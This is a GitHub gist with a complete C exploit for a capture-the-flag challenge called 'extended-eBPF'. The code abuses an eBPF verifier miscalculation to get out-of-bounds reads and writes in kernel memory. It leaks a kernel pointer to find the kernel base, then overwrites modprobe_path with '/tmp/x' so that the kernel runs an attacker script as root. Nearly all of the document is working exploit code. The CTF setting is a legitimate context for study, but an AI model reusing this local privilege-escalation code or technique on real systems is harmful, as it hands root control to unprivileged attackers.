Skip to content

Instantly share code, notes, and snippets.

@jun-lsh
Created January 20, 2026 14:54
Show Gist options
  • Select an option

  • Save jun-lsh/004540288b0f39791aa6020d88422b28 to your computer and use it in GitHub Desktop.

Select an option

Save jun-lsh/004540288b0f39791aa6020d88422b28 to your computer and use it in GitHub Desktop.
UofTCTF 2026 - extended-eBPF exploit
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/user.h>
#include <sys/ptrace.h>
#include <stddef.h>
#include <sys/utsname.h>
#include <stdbool.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <linux/bpf.h>
#include <bpf/libbpf.h>
#include <linux/bpf_common.h>
#include <linux/if_alg.h>
#include "bpf_insn.h"
char trigger_buf[0x2000];
int socks[2] = {-1};
int oob_map_fd, arb_read_write_map_fd, info_map_fd;
int trigger_modprobe(){
struct sockaddr_alg sa;
int alg_fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
if (alg_fd < 0) {
perror("socket(AF_ALG) failed");
return 1;
}
memset(&sa, 0, sizeof(sa));
sa.salg_family = AF_ALG;
strcpy((char *)sa.salg_type, "Qanux"); // dummy string
bind(alg_fd, (struct sockaddr *)&sa, sizeof(sa));
return 1;
}
void get_root_flag(void){
char buf[0x30];
memset(buf, 0, sizeof(buf));
puts("[*] Returned to userland, setting up for fake modprobe");
system("echo '#!/bin/sh\ncp /flag /tmp/flag\nchmod 777 /tmp/flag\ncat /flag' > /tmp/x");
system("chmod +x /tmp/x");
trigger_modprobe();
int fd = open("/tmp/flag", O_RDONLY);
if (fd < 0) {
puts("[-] Lose...");
} else {
read(fd, buf, 0x30);
printf("[+] flag: %s", buf);
}
}
int bpf(int cmd, union bpf_attr *attr){
return syscall(__NR_bpf, cmd, attr, sizeof(*attr));
}
int bpf_prog_load(union bpf_attr *attr){
return bpf(BPF_PROG_LOAD, attr);
}
int bpf_map_create(uint32_t key_size, uint32_t value_size, uint32_t max_entries){
union bpf_attr attr = {
.map_type = BPF_MAP_TYPE_ARRAY,
.key_size = key_size,
.value_size = value_size,
.max_entries = max_entries
};
return bpf(BPF_MAP_CREATE, &attr);
}
int bpf_map_update_elem(int map_fd, uint64_t key, uint64_t* value, uint64_t flags){
union bpf_attr attr = {
.map_fd = map_fd,
.key = (uint64_t) &key,
.value = (uint64_t) value,
.flags = flags
};
return bpf(BPF_MAP_UPDATE_ELEM, &attr);
}
uint64_t bpf_map_lookup_elem(int map_fd, uint32_t key, int index){
uint64_t value[0x150/8] = {};
union bpf_attr attr = {
.map_fd = map_fd,
.key = (uint64_t) &key,
.value = (uint64_t) &value,
};
bpf(BPF_MAP_LOOKUP_ELEM, &attr);
return value[index];
}
union bpf_attr* create_bpf_prog(struct bpf_insn *insns, unsigned int insn_cnt){
union bpf_attr *attr = (union bpf_attr *) malloc(sizeof(union bpf_attr));
attr->prog_type = BPF_PROG_TYPE_SOCKET_FILTER;
attr->insn_cnt = insn_cnt;
attr->insns = (uint64_t) insns;
attr->license = (uint64_t)"";
return attr;
}
int attach_socket(int prog_fd){
if(socks[0] == -1 && socketpair(AF_UNIX, SOCK_DGRAM, 0, socks) < 0){
perror("socketpair");
exit(1);
}
if(setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &prog_fd, sizeof(prog_fd)) < 0){
perror("setsockopt");
exit(1);
}
}
void setup_bpf_prog(struct bpf_insn *insns, uint insncnt){
char log_buffer[0x4000];
union bpf_attr *prog = create_bpf_prog(insns, insncnt);
prog->log_level = 2;
prog->log_buf = (uint64_t) log_buffer;
prog->log_size = sizeof(log_buffer);
strncpy(prog->prog_name, "stdnoerr", 16);
int prog_fd = bpf_prog_load(prog);
printf("%d\n", strlen(log_buffer));
puts(log_buffer);
if(prog_fd < 0){
perror("prog_load");
exit(1);
}
attach_socket(prog_fd);
}
void run_bpf_prog(struct bpf_insn *insns, uint insncnt){
int val = 0;
setup_bpf_prog(insns, insncnt);
write(socks[1], &val, sizeof(val));
close(socks[0]);
close(socks[1]);
socks[0] = -1;
}
void run_bpf_prog_w_vals(struct bpf_insn *insns, uint insncnt, const void *data, size_t size){
setup_bpf_prog(insns, insncnt);
if(write(socks[1], data, size) < 0) {
printf("Something wrong with the write!\n");
exit(1);
}
close(socks[0]);
close(socks[1]);
socks[0] = -1;
}
int main(){
oob_map_fd = bpf_map_create(4, 0x150, 1);
if(oob_map_fd < 0){
printf("bomb!!!\n");
perror("create_map");
return 1;
}
uint64_t value = 0xDEADBEEFCAFEBABF; // set val and help with struct inspection
bpf_map_update_elem(oob_map_fd, 0, &value, BPF_ANY);
struct bpf_insn kbase_leak[] = {
// this part is copied from chompie
// load pointer to oob_map_fd map into R1
BPF_LD_MAP_FD(BPF_REG_1, oob_map_fd),
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
BPF_MOV64_IMM(BPF_REG_0, 0),
// write 0 to [rsp-4]
BPF_STX_MEM(BPF_W, BPF_REG_10, BPF_REG_0, -4),
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),
// pull value from map
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), \
BPF_EXIT_INSN(),
// store &oob_map[0] in BPF_REG_7, but actually its oob_map_ptr + 0x110
// that's the offset of .values in bpf_array
BPF_MOV64_REG(BPF_REG_7, BPF_REG_0),
// we should get 1, because that is what we wrote to that slot
BPF_LDX_MEM(BPF_DW,BPF_REG_4, BPF_REG_0, 0),
BPF_ALU64_IMM(BPF_AND, BPF_REG_4, 1),
BPF_MOV64_IMM(BPF_REG_8, 1),
BPF_ALU64_REG(BPF_LSH, BPF_REG_8, BPF_REG_4), // 1 << 1 = 2, but verifier thinks 1 << 0 = 1
BPF_ALU64_IMM(BPF_SUB, BPF_REG_8, 1), // 2 - 1 = 1, but verifier thinks 1 -1 = 0
// now BPF_REG_8 should be carrying 1, but the verifier thinks its carrying 0
BPF_MOV64_REG(BPF_REG_0, BPF_REG_8),
BPF_ALU64_IMM(BPF_MUL, BPF_REG_0, 0xF8), // fucked up weird ahh offset manually derived
BPF_ALU64_REG(BPF_SUB, BPF_REG_7, BPF_REG_0),
// now BPF_REG_7 should (should) be carrying map_ptr + 0x0, which is a ptr to array_map_ops
// we load that into BPF_REG_6
BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_7, 0),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 0xF8),
// write array_map_ops ptr to map_ptr + 0x110
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_6, 0),
// clear reg0 so it doesn't bitch
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN()
};
run_bpf_prog(kbase_leak, sizeof(kbase_leak)/sizeof(kbase_leak[0]));
uint64_t array_map_ops = bpf_map_lookup_elem(oob_map_fd, 0, 0);
printf("array_map_ops: %p\n", array_map_ops);
// now we can calculate kbase from our fixed offset
uint64_t kbase = array_map_ops - 0xc1d9a0;
printf("kbase: %p\n", kbase);
uint64_t modprobe = kbase + 0x10be1e0;
printf("modprobe_path: %p\n", modprobe);
oob_map_fd = bpf_map_create(4, 0x150, 1);
bpf_map_update_elem(oob_map_fd, 0, &value, BPF_ANY);
struct bpf_insn arb_write[] = {
// save ctx
BPF_MOV64_REG(BPF_REG_9, BPF_REG_1),
// same setup from earlier
BPF_LD_MAP_FD(BPF_REG_1, oob_map_fd),
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_STX_MEM(BPF_W, BPF_REG_10, BPF_REG_0, -4),
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), \
BPF_EXIT_INSN(),
BPF_MOV64_REG(BPF_REG_8, BPF_REG_0),
BPF_LDX_MEM(BPF_DW,BPF_REG_4, BPF_REG_0, 0),
BPF_ALU64_IMM(BPF_AND, BPF_REG_4, 1),
BPF_MOV64_IMM(BPF_REG_1, 1),
BPF_ALU64_REG(BPF_LSH, BPF_REG_1, BPF_REG_4), // 1 << 1 = 2, but verifier thinks 1 << 0 = 1
BPF_ALU64_IMM(BPF_SUB, BPF_REG_1, 1), // 2 - 1 = 1, but verifier thinks 1 -1 = 0
// now BPF_REG_1 should be carrying 1, but the verifier thinks its carrying 0
BPF_MOV64_REG(BPF_REG_7, BPF_REG_1),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 1),
BPF_ALU64_IMM(BPF_MUL, BPF_REG_7, 8),
// store the array pointer
BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_8, -8),
// overwrite array pointer on stack
// we use BPF_FUNC_skb_load_bytes instead of the relative version because its cleaner
BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), // ctx
BPF_MOV64_IMM(BPF_REG_2, 0),
BPF_MOV64_REG(BPF_REG_3, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, -16),
BPF_MOV64_REG(BPF_REG_4, BPF_REG_7), // verifier 8, but actually 16
BPF_MOV64_IMM(BPF_REG_5, 0),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_skb_load_bytes),
// the address we want to write to will be in here!
BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_10, -8),
// since we know what we want to write and that its 64bit we just hardcode here
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_STX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0),
BPF_MOV64_IMM(BPF_REG_0, 0x706d742f), // "/tmp"
BPF_STX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0),
BPF_MOV64_IMM(BPF_REG_0, 0x782f), // "/x"
BPF_STX_MEM(BPF_W, BPF_REG_6, BPF_REG_0, 4),
// clear reg0 so it doesn't bitch
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN()
};
*(uint64_t *)(trigger_buf + 8) = modprobe;
run_bpf_prog_w_vals(arb_write, sizeof(arb_write)/sizeof(arb_write[0]), trigger_buf, 0x100);
printf("Arb write completed!\n");
get_root_flag();
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment